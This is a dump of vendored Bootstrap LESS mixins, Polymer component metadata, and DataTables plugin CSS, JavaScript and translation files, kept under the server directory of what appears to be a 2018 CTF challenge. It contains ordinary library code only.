/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/pagination.less: -------------------------------------------------------------------------------- 1 | // Pagination 2 | 3 | .pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) { 4 | > li { 5 | > a, 6 | > span { 7 | padding: @padding-vertical @padding-horizontal; 8 | font-size: @font-size; 9 | line-height: @line-height; 10 | } 11 | &:first-child { 12 | > a, 13 | > span { 14 | .border-left-radius(@border-radius); 15 | } 16 | } 17 | &:last-child { 18 | > a, 19 | > span { 20 | .border-right-radius(@border-radius); 21 | } 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/panels.less: -------------------------------------------------------------------------------- 1 | // Panels 2 | 3 | .panel-variant(@border; @heading-text-color; @heading-bg-color; @heading-border) { 4 | border-color: @border; 5 | 6 | & > .panel-heading { 7 | color: @heading-text-color; 8 | background-color: @heading-bg-color; 9 | border-color: @heading-border; 10 | 11 | + .panel-collapse > .panel-body { 12 | border-top-color: @border; 13 | } 14 | .badge { 15 | color: @heading-bg-color; 16 | background-color: @heading-text-color; 17 | } 18 | } 19 | & > .panel-footer { 20 | + .panel-collapse > .panel-body { 21 | border-bottom-color: @border; 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/progress-bar.less: -------------------------------------------------------------------------------- 1 | // Progress bars 2 | 3 | .progress-bar-variant(@color) { 4 | background-color: @color; 5 | 6 | // Deprecated parent class requirement as of v3.2.0 7 | .progress-striped & { 8 | #gradient > .striped(); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/reset-filter.less: -------------------------------------------------------------------------------- 1 | // Reset filters for IE 2 | // 3 | // When you need to remove a gradient background, do not forget to use this to reset 4 | // the IE filter for IE9 and below. 5 | 6 | .reset-filter() { 7 | filter: e(%("progid:DXImageTransform.Microsoft.gradient(enabled = false)")); 8 | } 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/reset-text.less: -------------------------------------------------------------------------------- 1 | .reset-text() { 2 | font-family: @font-family-base; 3 | // We deliberately do NOT reset font-size. 4 | font-style: normal; 5 | font-weight: normal; 6 | letter-spacing: normal; 7 | line-break: auto; 8 | line-height: @line-height-base; 9 | text-align: left; // Fallback for where `start` is not supported 10 | text-align: start; 11 | text-decoration: none; 12 | text-shadow: none; 13 | text-transform: none; 14 | white-space: normal; 15 | word-break: normal; 16 | word-spacing: normal; 17 | word-wrap: normal; 18 | } 19 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/resize.less: -------------------------------------------------------------------------------- 1 | // Resize anything 2 | 3 | .resizable(@direction) { 4 | resize: @direction; // Options: horizontal, vertical, both 5 | overflow: auto; // Per CSS3 UI, `resize` only applies when `overflow` isn't `visible` 6 | } 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/responsive-visibility.less: -------------------------------------------------------------------------------- 1 | // Responsive utilities 2 | 3 | // 4 | // More easily include all the states for responsive-utilities.less. 5 | .responsive-visibility() { 6 | display: block !important; 7 | table& { display: table !important; } 8 | tr& { display: table-row !important; } 9 | th&, 10 | td& { display: table-cell !important; } 11 | } 12 | 13 | .responsive-invisibility() { 14 | display: none !important; 15 | } 16 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/size.less: -------------------------------------------------------------------------------- 1 | // Sizing shortcuts 2 | 3 | .size(@width; @height) { 4 | width: @width; 5 | height: @height; 6 | } 7 | 8 | .square(@size) { 9 | .size(@size; @size); 10 | } 11 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/tab-focus.less: -------------------------------------------------------------------------------- 1 | // WebKit-style focus 2 | 3 | .tab-focus() { 4 | // WebKit-specific. Other browsers will keep their default outline style. 5 | // (Initially tried to also force default via `outline: initial`, 6 | // but that seems to erroneously remove the outline in Firefox altogether.) 7 | outline: 5px auto -webkit-focus-ring-color; 8 | outline-offset: -2px; 9 | } 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/table-row.less: -------------------------------------------------------------------------------- 1 | // Tables 2 | 3 | .table-row-variant(@state; @background) { 4 | // Exact selectors below required to override `.table-striped` and prevent 5 | // inheritance to nested tables. 6 | .table > thead > tr, 7 | .table > tbody > tr, 8 | .table > tfoot > tr { 9 | > td.@{state}, 10 | > th.@{state}, 11 | &.@{state} > td, 12 | &.@{state} > th { 13 | background-color: @background; 14 | } 15 | } 16 | 17 | // Hover states for `.table-hover` 18 | // Note: this is not available for cells or rows within `thead` or `tfoot`. 19 | .table-hover > tbody > tr { 20 | > td.@{state}:hover, 21 | > th.@{state}:hover, 22 | &.@{state}:hover > td, 23 | &:hover > .@{state}, 24 | &.@{state}:hover > th { 25 | background-color: darken(@background, 5%); 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/text-emphasis.less: -------------------------------------------------------------------------------- 1 | // Typography 2 | 3 | .text-emphasis-variant(@color) { 4 | color: @color; 5 | a&:hover, 6 | a&:focus { 7 | color: darken(@color, 10%); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/text-overflow.less: -------------------------------------------------------------------------------- 1 | // Text overflow 2 | // Requires inline-block or block for proper styling 3 | 4 | .text-overflow() { 5 | overflow: hidden; 6 | text-overflow: ellipsis; 7 | white-space: nowrap; 8 | } 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/responsive-embed.less: -------------------------------------------------------------------------------- 1 | // Embeds responsive 2 | // 3 | // Credit: Nicolas Gallagher and SUIT CSS. 4 | 5 | .embed-responsive { 6 | position: relative; 7 | display: block; 8 | height: 0; 9 | padding: 0; 10 | overflow: hidden; 11 | 12 | .embed-responsive-item, 13 | iframe, 14 | embed, 15 | object, 16 | video { 17 | position: absolute; 18 | top: 0; 19 | left: 0; 20 | bottom: 0; 21 | height: 100%; 22 | width: 100%; 23 | border: 0; 24 | } 25 | } 26 | 27 | // Modifier class for 16:9 aspect ratio 28 | .embed-responsive-16by9 { 29 | padding-bottom: 56.25%; 30 | } 31 | 32 | // Modifier class for 4:3 aspect ratio 33 | .embed-responsive-4by3 { 34 | padding-bottom: 75%; 35 | } 36 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/thumbnails.less: -------------------------------------------------------------------------------- 1 | // 2 | // Thumbnails 3 | // -------------------------------------------------- 4 | 5 | 6 | // Mixin and adjust the regular image class 7 | .thumbnail { 8 | display: block; 9 | padding: @thumbnail-padding; 10 | margin-bottom: @line-height-computed; 11 | line-height: @line-height-base; 12 | background-color: @thumbnail-bg; 13 | border: 1px solid @thumbnail-border; 14 | border-radius: @thumbnail-border-radius; 15 | .transition(border .2s ease-in-out); 16 | 17 | > img, 18 | a > img { 19 | &:extend(.img-responsive); 20 | margin-left: auto; 21 | margin-right: auto; 22 | } 23 | 24 | // Add a hover state for linked versions only 25 | a&:hover, 26 | a&:focus, 27 | a&.active { 28 | border-color: @link-color; 29 | } 30 | 31 | // Image captions 32 | .caption { 33 | padding: @thumbnail-caption-padding; 34 | color: @thumbnail-caption-color; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/wells.less: -------------------------------------------------------------------------------- 1 | // 2 | // Wells 3 | // -------------------------------------------------- 4 | 5 | 6 | // Base class 7 | .well { 8 | min-height: 20px; 9 | padding: 19px; 10 | margin-bottom: 20px; 11 | background-color: @well-bg; 12 | border: 1px solid @well-border; 13 | border-radius: @border-radius-base; 14 | .box-shadow(inset 0 1px 1px rgba(0,0,0,.05)); 15 | blockquote { 16 | border-color: #ddd; 17 | border-color: rgba(0,0,0,.15); 18 | } 19 | } 20 | 21 | // Sizes 22 | .well-lg { 23 | padding: 24px; 24 | border-radius: @border-radius-large; 25 | } 26 | .well-sm { 27 | padding: 9px; 28 | border-radius: @border-radius-small; 29 | } 30 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/nuget/MyGet.ps1: -------------------------------------------------------------------------------- 1 | $nuget = $env:NuGet 2 | 3 | # parse the version number out of package.json 4 | $bsversion = ((Get-Content $env:SourcesPath\package.json) -join "`n" | ConvertFrom-Json).version 5 | 6 | # create packages 7 | & $nuget pack "nuget\bootstrap.nuspec" -Verbosity detailed -NonInteractive -NoPackageAnalysis -BasePath $env:SourcesPath -Version $bsversion 8 | & $nuget pack "nuget\bootstrap.less.nuspec" -Verbosity detailed -NonInteractive -NoPackageAnalysis -BasePath $env:SourcesPath -Version $bsversion 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "core-component-page", 3 | "private": true, 4 | "dependencies": { 5 | "webcomponentsjs": "Polymer/webcomponentsjs", 6 | "polymer": "Polymer/polymer#^0.5" 7 | }, 8 | "version": "0.5.6", 9 | "homepage": "https://github.com/Polymer/core-component-page", 10 | "_release": "0.5.6", 11 | "_resolution": { 12 | "type": "version", 13 | "tag": "0.5.6", 14 | "commit": "01a1d3968d7ece144783bcd03bc87b18344265e3" 15 | }, 16 | "_source": "https://github.com/Polymer/core-component-page.git", 17 | "_target": "^0.5", 18 | "_originalSource": "Polymer/core-component-page" 19 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/README.md: -------------------------------------------------------------------------------- 1 | core-component-page 2 | =================== 3 | 4 | **This element is compatible with Polymer 0.5 and lower only, and will be deprecated.** 5 | You can check out a similar 0.8-compatible version of this element at [https://github.com/polymerelements/iron-components-page](https://github.com/polymerelements/iron-component-page) 6 | 7 | See the [component page](https://www.polymer-project.org/0.5/docs/elements/core-component-page.html) for more information. 8 | 9 | Note: this is the vulcanized version of [`core-component-page-dev`](https://github.com/Polymer/core-component-page-dev) (the source). 10 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/bowager-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/bowager-logo.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "core-component-page", 3 | "private": true, 4 | "dependencies": { 5 | "webcomponentsjs": "Polymer/webcomponentsjs", 6 | "polymer": "Polymer/polymer#^0.5" 7 | }, 8 | "version": "0.5.6" 9 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/demo.html: -------------------------------------------------------------------------------- 1 | 2 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/index.html: -------------------------------------------------------------------------------- 1 | 2 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "datatables-plugins", 3 | "homepage": "https://github.com/DataTables/Plugins", 4 | "version": "1.0.1", 5 | "_release": "1.0.1", 6 | "_resolution": { 7 | "type": "version", 8 | "tag": "1.0.1", 9 | "commit": "a94e328df63c79af43123b99ada5ff88d601a31d" 10 | }, 11 | "_source": "https://github.com/DataTables/Plugins.git", 12 | "_target": "~1.0.1", 13 | "_originalSource": "datatables-plugins" 14 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/api/column().title().js: -------------------------------------------------------------------------------- 1 | /** 2 | * This plug-in will read the text from the header cell of a column, returning 3 | * that value. 4 | * 5 | * @name column().title() 6 | * @summary Get the title of a column 7 | * @author Alejandro Navarro 8 | * @requires DataTables 1.10+ 9 | * 10 | * @returns {String} Column title 11 | * 12 | * @example 13 | * // Read the title text of column index 3 14 | * var table = $('#example').DataTable(); 15 | * table.column( 3 ).title(); 16 | */ 17 | 18 | $.fn.dataTable.Api.register( 'column().title()', function () { 19 | var colheader = this.header(); 20 | return $(colheader).text().trim(); 21 | } ); -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/alphabetSearch/dataTables.alphabetSearch.css: -------------------------------------------------------------------------------- 1 | div.alphabet { 2 | position: relative; 3 | display: table; 4 | width: 100%; 5 | margin-bottom: 1em; 6 | } 7 | 8 | div.alphabet span { 9 | display: table-cell; 10 | color: #3174c7; 11 | cursor: pointer; 12 | text-align: center; 13 | width: 3.5% 14 | } 15 | 16 | div.alphabet span:hover { 17 | text-decoration: underline; 18 | } 19 | 20 | div.alphabet span.active { 21 | color: black; 22 | } 23 | 24 | div.alphabet span.empty { 25 | color: red; 26 | } 27 | 28 | div.alphabetInfo { 29 | display: block; 30 | position: absolute; 31 | background-color: #111; 32 | border-radius: 3px; 33 | color: white; 34 | top: 2em; 35 | height: 1.8em; 36 | padding-top: 0.4em; 37 | text-align: center; 38 | z-index: 1; 39 | } 40 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/lengthLinks/dataTables.lengthLinks.css: -------------------------------------------------------------------------------- 1 | 2 | div.dataTables_length a.active { 3 | color: black; 4 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/searchHighlight/dataTables.searchHighlight.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | table.dataTable span.highlight { 4 | background-color: #FFFF88; 5 | } 6 | 7 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/searchHighlight/dataTables.searchHighlight.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | SearchHighlight for DataTables v1.0.1 3 | 2014 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(f,c,b){b(c).on("init.dt.dth",function(c,d){var a=new b.fn.dataTable.Api(d),e=b(a.table().body());if(b(a.table().node()).hasClass("searchHighlight")||d.oInit.searchHighlight||b.fn.dataTable.defaults.searchHighlight)a.on("draw.dt.dth column-visibility.dt.dth",function(){e.unhighlight();a.rows({filter:"applied"}).data().length&&e.highlight(a.search().split(" "))}).on("destroy",function(){a.off("draw.dt.dth column-visibility.dt.dth")})})})(window,document,jQuery); 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Arabic.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Arabic translation 3 | * @name Arabic 4 | * @anchor Arabic 5 | * @author Ossama Khayat 6 | */ 7 | 8 | { 9 | "sProcessing": "جاري التحميل...", 10 | "sLengthMenu": "أظهر مُدخلات _MENU_", 11 | "sZeroRecords": "لم يُعثر على أية سجلات", 12 | "sInfo": "إظهار _START_ إلى _END_ من أصل _TOTAL_ مُدخل", 13 | "sInfoEmpty": "يعرض 0 إلى 0 من أصل 0 سجلّ", 14 | "sInfoFiltered": "(منتقاة من مجموع _MAX_ مُدخل)", 15 | "sInfoPostFix": "", 16 | "sSearch": "ابحث:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "الأول", 20 | "sPrevious": "السابق", 21 | "sNext": "التالي", 22 | "sLast": "الأخير" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Bangla.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Bangla translation 3 | * @name Bangla 4 | * @anchor Bangla 5 | * @author Md. Khaled Ben Islam 6 | */ 7 | 8 | { 9 | "sProcessing": "প্রসেসিং হচ্ছে...", 10 | "sLengthMenu": "_MENU_ টা এন্ট্রি দেখাও", 11 | "sZeroRecords": "আপনি যা অনুসন্ধান করেছেন তার সাথে মিলে যাওয়া কোন রেকর্ড খুঁজে পাওয়া যায় নাই", 12 | "sInfo": "_TOTAL_ টা এন্ট্রির মধ্যে _START_ থেকে _END_ পর্যন্ত দেখানো হচ্ছে", 13 | "sInfoEmpty": "কোন এন্ট্রি খুঁজে পাওয়া যায় নাই", 14 | "sInfoFiltered": "(মোট _MAX_ টা এন্ট্রির মধ্যে থেকে বাছাইকৃত)", 15 | "sInfoPostFix": "", 16 | "sSearch": "অনুসন্ধান:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "প্রথমটা", 20 | "sPrevious": "আগেরটা", 21 | "sNext": "পরবর্তীটা", 22 | "sLast": "শেষেরটা" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Belarusian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Belarusian translation 3 | * @name Belarusian 4 | * @anchor Belarusian 5 | * @author vkachurka 6 | */ 7 | { 8 | "sProcessing": "Пачакайце...", 9 | "sLengthMenu": "Паказваць _MENU_ запісаў", 10 | "sZeroRecords": "Запісы адсутнічаюць.", 11 | "sInfo": "Запісы з _START_ па _END_ з _TOTAL_ запісаў", 12 | "sInfoEmpty": "Запісы з 0 па 0 з 0 запісаў", 13 | "sInfoFiltered": "(адфільтравана з _MAX_ запісаў)", 14 | "sInfoPostFix": "", 15 | "sSearch": "Пошук:", 16 | "sUrl": "", 17 | "oPaginate": { 18 | "sFirst": "Першая", 19 | "sPrevious": "Папярэдняя", 20 | "sNext": "Наступная", 21 | "sLast": "Апошняя" 22 | }, 23 | "oAria": { 24 | "sSortAscending": ": актываваць для сартавання слупка па ўзрастанні", 25 | "sSortDescending": ": актываваць для сартавання слупка па змяншэнні" 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Bulgarian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Bulgarian translation 3 | * @name Bulgarian 4 | * @anchor Bulgarian 5 | * @author Rostislav Stoyanov 6 | */ 7 | 8 | { 9 | "sProcessing": "Обработка на резултатите...", 10 | "sLengthMenu": "Показване на _MENU_ резултата", 11 | "sZeroRecords": "Няма намерени резултати", 12 | "sInfo": "Показване на резултати от _START_ до _END_ от общо _TOTAL_", 13 | "sInfoEmpty": "Показване на резултати от 0 до 0 от общо 0", 14 | "sInfoFiltered": "(филтрирани от общо _MAX_ резултата)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Търсене във всички колони:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Първа", 20 | "sPrevious": "Предишна", 21 | "sNext": "Следваща", 22 | "sLast": "Последна" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Catalan.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Catalan translation 3 | * @name Catalan 4 | * @anchor Catalan 5 | * @author Sergi 6 | */ 7 | 8 | { 9 | "sProcessing": "Processant...", 10 | "sLengthMenu": "Mostra _MENU_ registres", 11 | "sZeroRecords": "No s'han trobat registres.", 12 | "sInfo": "Mostrant de _START_ a _END_ de _TOTAL_ registres", 13 | "sInfoEmpty": "Mostrant de 0 a 0 de 0 registres", 14 | "sInfoFiltered": "(filtrat de _MAX_ total registres)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Filtrar:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Primer", 20 | "sPrevious": "Anterior", 21 | "sNext": "Següent", 22 | "sLast": "Últim" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Chinese-traditional.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Chinese (traditional) translation 3 | * @name Chinese (traditional) 4 | * @anchor Chinese (traditional) 5 | * @author GimmeRank Affiliate 6 | */ 7 | 8 | { 9 | "sProcessing":   "處理中...", 10 | "sLengthMenu":   "顯示 _MENU_ 項結果", 11 | "sZeroRecords":  "沒有匹配結果", 12 | "sInfo":         "顯示第 _START_ 至 _END_ 項結果,共 _TOTAL_ 項", 13 | "sInfoEmpty":    "顯示第 0 至 0 項結果,共 0 項", 14 | "sInfoFiltered": "(從 _MAX_ 項結果過濾)", 15 | "sInfoPostFix":  "", 16 | "sSearch":       "搜索:", 17 | "sUrl":          "", 18 | "oPaginate": { 19 | "sFirst":    "首頁", 20 | "sPrevious": "上頁", 21 | "sNext":     "下頁", 22 | "sLast":     "尾頁" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Chinese.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Chinese translation 3 | * @name Chinese 4 | * @anchor Chinese 5 | * @author Chi Cheng 6 | */ 7 | 8 | { 9 | "sProcessing": "处理中...", 10 | "sLengthMenu": "显示 _MENU_ 项结果", 11 | "sZeroRecords": "没有匹配结果", 12 | "sInfo": "显示第 _START_ 至 _END_ 项结果,共 _TOTAL_ 项", 13 | "sInfoEmpty": "显示第 0 至 0 项结果,共 0 项", 14 | "sInfoFiltered": "(由 _MAX_ 项结果过滤)", 15 | "sInfoPostFix": "", 16 | "sSearch": "搜索:", 17 | "sUrl": "", 18 | "sEmptyTable": "表中数据为空", 19 | "sLoadingRecords": "载入中...", 20 | "sInfoThousands": ",", 21 | "oPaginate": { 22 | "sFirst": "首页", 23 | "sPrevious": "上页", 24 | "sNext": "下页", 25 | "sLast": "末页" 26 | }, 27 | "oAria": { 28 | "sSortAscending": ": 以升序排列此列", 29 | "sSortDescending": ": 以降序排列此列" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Czech.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Czech translation 3 | * @name Czech 4 | * @anchor Czech 5 | * @author Magerio 6 | */ 7 | 8 | { 9 | "sProcessing": "Provádím...", 10 | "sLengthMenu": "Zobraz záznamů _MENU_", 11 | "sZeroRecords": "Žádné záznamy nebyly nalezeny", 12 | "sInfo": "Zobrazuji _START_ až _END_ z celkem _TOTAL_ záznamů", 13 | "sInfoEmpty": "Zobrazuji 0 až 0 z 0 záznamů", 14 | "sInfoFiltered": "(filtrováno z celkem _MAX_ záznamů)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Hledat:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "První", 20 | "sPrevious": "Předchozí", 21 | "sNext": "Další", 22 | "sLast": "Poslední" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Danish.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Danish translation 3 | * @name Danish 4 | * @anchor Danish 5 | * @author Werner Knudsen 6 | */ 7 | 8 | { 9 | "sProcessing": "Henter...", 10 | "sLengthMenu": "Vis _MENU_ linjer", 11 | "sZeroRecords": "Ingen linjer matcher søgningen", 12 | "sInfo": "Viser _START_ til _END_ af _TOTAL_ linjer", 13 | "sInfoEmpty": "Viser 0 til 0 af 0 linjer", 14 | "sInfoFiltered": "(filtreret fra _MAX_ linjer)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Søg:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Første", 20 | "sPrevious": "Forrige", 21 | "sNext": "Næste", 22 | "sLast": "Sidste" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Dutch.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Dutch translation 3 | * @name Dutch 4 | * @anchor Dutch 5 | * @author Erwin Kerk and ashwin 6 | */ 7 | 8 | { 9 | "sProcessing": "Bezig...", 10 | "sLengthMenu": "_MENU_ resultaten weergeven", 11 | "sZeroRecords": "Geen resultaten gevonden", 12 | "sInfo": "_START_ tot _END_ van _TOTAL_ resultaten", 13 | "sInfoEmpty": "Geen resultaten om weer te geven", 14 | "sInfoFiltered": " (gefilterd uit _MAX_ resultaten)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Zoeken:", 17 | "sEmptyTable": "Geen resultaten aanwezig in de tabel", 18 | "sInfoThousands": ".", 19 | "sLoadingRecords": "Een moment geduld aub - bezig met laden...", 20 | "oPaginate": { 21 | "sFirst": "Eerste", 22 | "sLast": "Laatste", 23 | "sNext": "Volgende", 24 | "sPrevious": "Vorige" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Estonian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Estonian translation 3 | * @name Estonian 4 | * @anchor Estonian 5 | * @author Janek Todoruk 6 | */ 7 | 8 | { 9 | "sProcessing": "Palun oodake, koostan kuvamiseks nimekirja!", 10 | "sLengthMenu": "Näita kirjeid _MENU_ kaupa", 11 | "sZeroRecords": "Otsitavat vastet ei leitud.", 12 | "sInfo": "Kuvatud: _TOTAL_ kirjet (_START_-_END_)", 13 | "sInfoEmpty": "Otsinguvasteid ei leitud", 14 | "sInfoFiltered": " - filteeritud _MAX_ kirje seast.", 15 | "sInfoPostFix": "Kõik kuvatud kirjed põhinevad reaalsetel tulemustel.", 16 | "sSearch": "Otsi kõikide tulemuste seast:", 17 | "oPaginate": { 18 | "sFirst": "Algus", 19 | "sPrevious": "Eelmine", 20 | "sNext": "Järgmine", 21 | "sLast": "Viimane" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Filipino.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Filipino translation 3 | * @name Filipino 4 | * @anchor Filipino 5 | * @author Citi360 6 | */ 7 | 8 | { 9 | "sProcessing": "Pagproseso...", 10 | "sLengthMenu": "Ipakita _MENU_ entries", 11 | "sZeroRecords": "Walang katugmang mga talaan na natagpuan", 12 | "sInfo": "Ipinapakita ang _START_ sa _END_ ng _TOTAL_ entries", 13 | "sInfoEmpty": "Ipinapakita ang 0-0 ng 0 entries", 14 | "sInfoFiltered": "(na-filter mula _MAX_ kabuuang entries)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Paghahanap:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Unang", 20 | "sPrevious": "Nakaraan", 21 | "sNext": "Susunod", 22 | "sLast": "Huli" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Finnish.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Finnish translation 3 | * @name Finnish 4 | * @anchor Finnish 5 | * @author Seppo Äyräväinen 6 | */ 7 | 8 | { 9 | "sProcessing": "Hetkinen...", 10 | "sLengthMenu": "Näytä kerralla _MENU_ riviä", 11 | "sZeroRecords": "Tietoja ei löytynyt", 12 | "sInfo": "Näytetään rivit _START_ - _END_ (yhteensä _TOTAL_ )", 13 | "sInfoEmpty": "Näytetään 0 - 0 (yhteensä 0)", 14 | "sInfoFiltered": "(suodatettu _MAX_ tuloksen joukosta)", 15 | "sInfoPostFix": "", 16 | "sSearch": "Etsi:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "Ensimmäinen", 20 | "sPrevious": "Edellinen", 21 | "sNext": "Seuraava", 22 | "sLast": "Viimeinen" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Georgian.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Georgian translation 3 | * @name Georgian 4 | * @anchor Georgian 5 | * @author Mikheil Nadareishvili 6 | */ 7 | 8 | { 9 | "sProcessing": "მიმდინარეობს დამუშავება...", 10 | "sLengthMenu": "აჩვენე _MENU_ ჩანაწერი", 11 | "sZeroRecords": "არაფერი მოიძებნა", 12 | "sInfo": "ნაჩვენებია ჩანაწერები _START_–დან _END_–მდე, სულ _TOTAL_ ჩანაწერია", 13 | "sInfoEmpty": "ნაჩვენებია ჩანაწერები 0–დან 0–მდე, სულ 0 ჩანაწერია", 14 | "sInfoFiltered": "(გაფილტრული შედეგი _MAX_ ჩანაწერიდან)", 15 | "sInfoPostFix": "", 16 | "sSearch": "ძიება:", 17 | "sUrl": "", 18 | "oPaginate": { 19 | "sFirst": "პირველი", 20 | "sPrevious": "წინა", 21 | "sNext": "შემდეგი", 22 | "sLast": "ბოლო" 23 | } 24 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Greek.lang: -------------------------------------------------------------------------------- 1 | /** 2 | * Greek translation 3 | * @name Greek 4 | * @anchor Greek 5 | * @author Abraam Ziogas 6 | */ 7 | 8 | { 9 | "sProcessing": "Επεξεργασία...", 10 | "sLengthMenu": "Δείξε _MENU_ εγγραφές", 11 | "sZeroRecords": "Δεν βρέθηκαν εγγραφές που να ταιριάζουν", 12 | "sInfo": "Δείχνοντας _START_ εως _END_ από _TOTAL_ 